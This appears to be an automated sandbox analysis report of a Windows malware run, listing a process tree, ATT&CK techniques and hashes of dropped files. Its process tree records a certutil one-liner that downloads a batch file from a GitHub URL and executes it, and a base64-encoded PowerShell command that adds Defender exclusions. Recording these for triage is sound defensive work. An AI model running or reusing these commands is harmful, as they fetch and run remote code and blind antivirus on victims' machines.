  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5440,i,7514891738813711518,551849467517913572,524288 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:14
  2⤵
  PID:6120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5696,i,17708358265593176705,10729365440234429861,524288 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:14
  2⤵
  PID:2624
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6048,i,11336685944365475303,5096768362977245315,524288 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5988 /prefetch:14
  2⤵
  PID:5928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5696,i,8862046591905990871,11854662507867800557,262144 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4268

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3816

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:4316

C:\Windows\system32\cmd.exe
cmd /c "certutil -urlcache -split -f https://raw.githubusercontent.com/ruskywhiskey1312/whiskeyscript/refs/heads/main/HJHAGK.bat C:\Users\Admin\AppData\Local\Temph.bat & timeout /t 2 /nobreak >nul & C:\Users\Admin\AppData\Local\Temph.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3084
- C:\Windows\system32\certutil.exe
  certutil -urlcache -split -f https://raw.githubusercontent.com/ruskywhiskey1312/whiskeyscript/refs/heads/main/HJHAGK.bat C:\Users\Admin\AppData\Local\Temph.bat
  2⤵
  PID:5416
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4652
- C:\Windows\system32\cmd.exe
  cmd /c "C:\Users\Admin\AppData\Local\Temph.bat" MINIMIZED
  2⤵
  - Executes a command shell one-liner
  PID:4456
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:1496
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:6092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$de = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('TmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRXhjbHVzaW9uc1xQYXRocyIgLU5hbWUgIkM6XCIgLVByb3BlcnR5VHlwZSBTdHJpbmcgLVZhbHVlICIwIiAtRm9yY2U7IEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblByb2Nlc3MgIlBvd2VyU2hlbGwuZXhlIjsgQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcIiwgIiRlbnY6VEVNUCI=')); Invoke-Expression $de"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 120B
SHA256 3f6088d303804dbba8f99eb5d0ff2511dc94902170231076f5b0048cd7d54db2
MD5 54317e1d0936dbb075ba7b7cd427d9d6
SHA1 d07809e91eaa18dffc0022eec696dc7c40a55e58
SHA512 4064c9c70e25b0353e85f840a67dc2e0457f01dbcc027c7bd173deac427ec501e7eace285b517ef9cbd809ed2dee645b1a4a29c1ef40ef2b6f1824f0ad4f35aa
TLSH
T188B0122061D00829DF6082B22C900CB073109F7812150F9743C01CBC8C1F7F44133CC6
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 fb35d577c3ebb9d0b9f6a43bf8c2e5d1b04adbe36c899a3dd73adafbb2470d0f
MD5 50aba773d5d574086c8fd5e598e219c6
SHA1 1273771dfe546416ae7a306785c93397ff897aac
SHA512 9bcc1267bd9bc08fc96023bd0ca1c156f09900f7773d980d2bdd8812fa19ff2d7754e94dd0b8b308b899d4ad7098a89a5e6923e568a93f681e1475f2522c3015
TLSH
T150717AB7C3E9866DD91152F4AA147E1BCF2E0928436C3866C5E8EF5B93F1472D24134E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 390c183504c2f7557eb249b2ab175e31ff07837b252560b96413123ae0e5b416
MD5 457ce60e63f623cd3dbb98eb02487fef
SHA1 df986a17442be280eea27a2be32f2d5a629a1d54
SHA512 270f082aa7b70b0b8df86adb15bd5b0edad84d422f82729c5a2e0a5cef04c950795234d8d6b9c6eb30f19806adb00f1d3e12770662c76d1710506d1b963daeb3
SSDEEP 192:5Rx7AmitFav7Jnv7PRpTU999Hsb+WNnAoJLxi2MbAkRW2SNgmVyIsnAUgE:5Rx7liedbXYvwAyA2bkRW2ShE
TLSH
T19542C92EB914653B9CDBD229FD22BB67E3F5102565E42E44EBFC8A2C15E75CC2213017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 a1d62f271a036d3af4e6c7f4c17d3fe6c8f38cfd4d20af30e8a8f00fd0750e93
MD5 6dcacbb62e7b73a1e17762216637be95
SHA1 2dbe3e4035e65ae51c6bea0ed632a3406f3aeb01
SHA512 9136140d8c9b2ee1302d1cb502ad52abc2bde5f189b064492f4f084e084759fcaea0517f5620dd2e0d633dda9a40526b15880fa2ab0ea0415a2acc603ea9013b
SSDEEP 192:5Rx7Amitybav7JnvAPRp2U999Hsb+WNnAoJLxi2MgAkRW2SNgRVyIsnAUge:5Rx7liPd6XzvwAyA2QkRW2S2e
TLSH
T1D042B62EA914643B9CDAD229FD22BB67E7F5102674E42E44EBFC8A2C15E75CC2213017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 260d046755cfb247d754c21f9e37cecd13ac182cf078e13c03732eafe81902fa
MD5 98a482a8f7554a43ce6198dd357aebfd
SHA1 25554db1a9842c7d5abfda9c83dfb9383b56b657
SHA512 0dd61489d7093bb66052a405d9b6882743494eb8a930cb74d8fcfa194de542a8993a0770c0bf6279159a39141da933e9886841a142173dc393e9d3c2d461c082
SSDEEP 192:5Rx7Amitnav7JnvAPRp2U999Hsb+WNnAoJLxi2MtAkRW2SNgSVyIsnAUgE:5Rx7lisd6XzvwAyA2hkRW2S/E
TLSH
T1FA42C72EB914653B9CDAD229FD22BB63E3F5102675E42E44EBFC8A2C15E75CC2213417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 6ce0ccb520219021de29533fb39326008c4d6ce68387f7de5e9c322dea700749
MD5 bf996e58b9d465defe71d0024a4bcc37
SHA1 6819567a253026bb21c26fac5d30b3dfc8d74a81
SHA512 12065b286329f90c9225a688772dcf6834d3be0d475b4aca2d59cf928842dbd9dca40bd2631f3d3dcff7dd67a82299de4e6376b1ffad1d7e138475b105845dc8
SSDEEP 192:5Rx7Amitnav7Jnv7PRpTU999Hsb+WNnAoJLxi2MbAkRW2SNgmVyIsnAUgE:5Rx7lisdbXYvwAyA2bkRW2ShE
TLSH
T1B542C92EB914653B9CDBD229FD22BB63E3F5102565E42E44EBFC8A2C15E75CC2213017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 54b0eea83d0e1a051b4f007a55427a1fed53e624e53da6a57c90836075dd8938
MD5 6560bcac7a7f731129acf32fe41d855d
SHA1 9d1985c5bc722cb20a3b650fcd14a3bf5a1fc2ee
SHA512 cea92d14cd933545a134829c02a2e092324d913b375cf11c0a2794447929eb8028c5fc6b6afb6699435fb0bace921eb275b7818e32d6c9823c0e30ecbb5072a0
SSDEEP 192:e/Q4K6I+7KxkXqK4I40pUZNCgVLHrKHfFKslE8nRXzKD/KB+ErUkKN9MFUxpElbC:GQjH+7KxkXqKf/pUZNCgVLH2HfgslZRu
TLSH
T1DF32C72BA48D9A3F4FA8D50DDC126F4BACA5025776780C2456FB9D0803A5BCE115A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 355cc31b7a4213a6c546e56ce1d4b8f7265325f8b6e821c2c749cd8f8cab4d53
MD5 330ed232956fab9ac0597c36f61d8db4
SHA1 e087246e0cb9dc4c70c7257c080325f755fcd763
SHA512 bc3b4734e97cebef5e103c514e5aca3ea662ec02c9dc342aa3d9f52a66abec837a7c41f394a864424ddd825c01e7d58157eda49e1191f8781a195b65c629bc05
SSDEEP 96:bbJ0d+CgjAe56y7nKZwpOfswa8Sl8h4otop51shDwB6xGGfvk5EZwl9sRNC39IS0:bt0Ngjf5ZKSNqiU260Qv3Zwl9suCmc
TLSH
T14CC108B1E46D5DA748F2A5C9B1032E43CDA811AB6964BE54FDE94F1C00FB5DD2382233
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 2e674c95c2af447623fc01ae6979ccfc52b5bd4928302e0854b79d4cc3c47802
MD5 6f5f25fd119a00f2c3a92d98d76879b3
SHA1 3e9c8e6be5cb729b1331b5acd27103af20668450
SHA512 3bc9f12c961e0d084a280f47b182a088ba1a5c9109f5d22b1ad838dffec5606ea685527b2e05f503feeb4e3971f580fdbdaf66be5e33e9680c751a8f959e02a3
SSDEEP 96:5C0d+CgjAe56y7nKZwpOfsobajcRDotok51s4DwB6vGyvk54E9TboRYv4a:5C0Ngjf5ZKSNqDUDd07qE9Tbog
TLSH
T164A108B1A46D4DB794B6C589B1427F43DEA521A7A961EF80E8DC1F0C40FB1E81382223
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 32350f17d77a318d583749957962383c13aa23f136483e3de686c7843f0e9bd8
MD5 1e2f118a787bcc95fab0062684b91b73
SHA1 8b0227eee8011f099e2a6beb9832150f8d39e312
SHA512 5661e2641a03fccd5168054493594aecf54df5350cd3ee37febae1c531f4f4e55d41a12097013c7a3f817bda755b5a4c49c98f90e743f6f8aa84f546aead47d7
SSDEEP 96:bbJ0d+CgjAe56y7nKZwpOfswa8Sl8h4otop51shDwB6xGGfvk5EMZH1Qzb/ZjWlF:bt0Ngjf5ZKSNqiU260Qv3c2PBWl9UUn
TLSH
T143C108B4A46D6D6358F2D199B1036A43CDB510AB5920EF90E9E94F1D00FB0AC2382233
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 2923997bd9fd4343c9a664a89d7f32f5dedba1b1a57d8004fc3d94518cb555c6
MD5 7d7a3e98520de165949c4408d8766026
SHA1 527f3e6bce074b799a02ae8e925b455b0fd6bbb3
SHA512 88fed1d586e98bd4e62c1e5c55dd6c94caeea3e958a42c70bc51bdd5dfb71bb8ae06ae78e556cb2c591f1d57179ac62626333a48ac3f370b59efc5d969c40559
SSDEEP 96:bC0d+CgjAe56y7nKZwpOfswa8Sl8h4otop51shDwB6xGGfvk5EMZH1Qzb/ZjWl9r:bC0Ngjf5ZKSNqiU260Qv3c2PBWl9UUn
TLSH
T177C108B5A46DAD7359F2D199B1036F43CEB510AB5920EF90E9E94F1D00FB0AC2382233
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Temph.bat

Path C:\Users\Admin\AppData\Local\Temph.bat
Size 11.8MB
SHA256 b496729c831c522ccffd12b0ac0665af78a87eeaea4f0a4d9fee9d4634f8b8b2
MD5 6e1c24ebaf0aec3b3940751eee487396
SHA1 0553234e1def15a6c467ede4ffc5eb9e266fa4f7
SHA512 1e82f03a2ec8f1a2b15079a7c29fe4444d2440eeb7006c3b6168b8810c1ff3df57ea4f19ad13368579df7a40c5bb2175ec75171b9ac689b7f8fffa0a1fcb0f83
SSDEEP 49152:juuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuum:2
TLSH
T123C60286CAD349A99980258D30B57A8A0A373D337D14DCBFBCE750074A3E5AD7077E4A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1332-282-0x0000025469F20000-0x0000025469F42000-memory.dmp

Download

memory/1332-287-0x000002546A410000-0x000002546A42E000-memory.dmp

Download

memory/1332-288-0x000002546A550000-0x000002546A602000-memory.dmp

Download

memory/1332-289-0x000002546A430000-0x000002546A43A000-memory.dmp

Download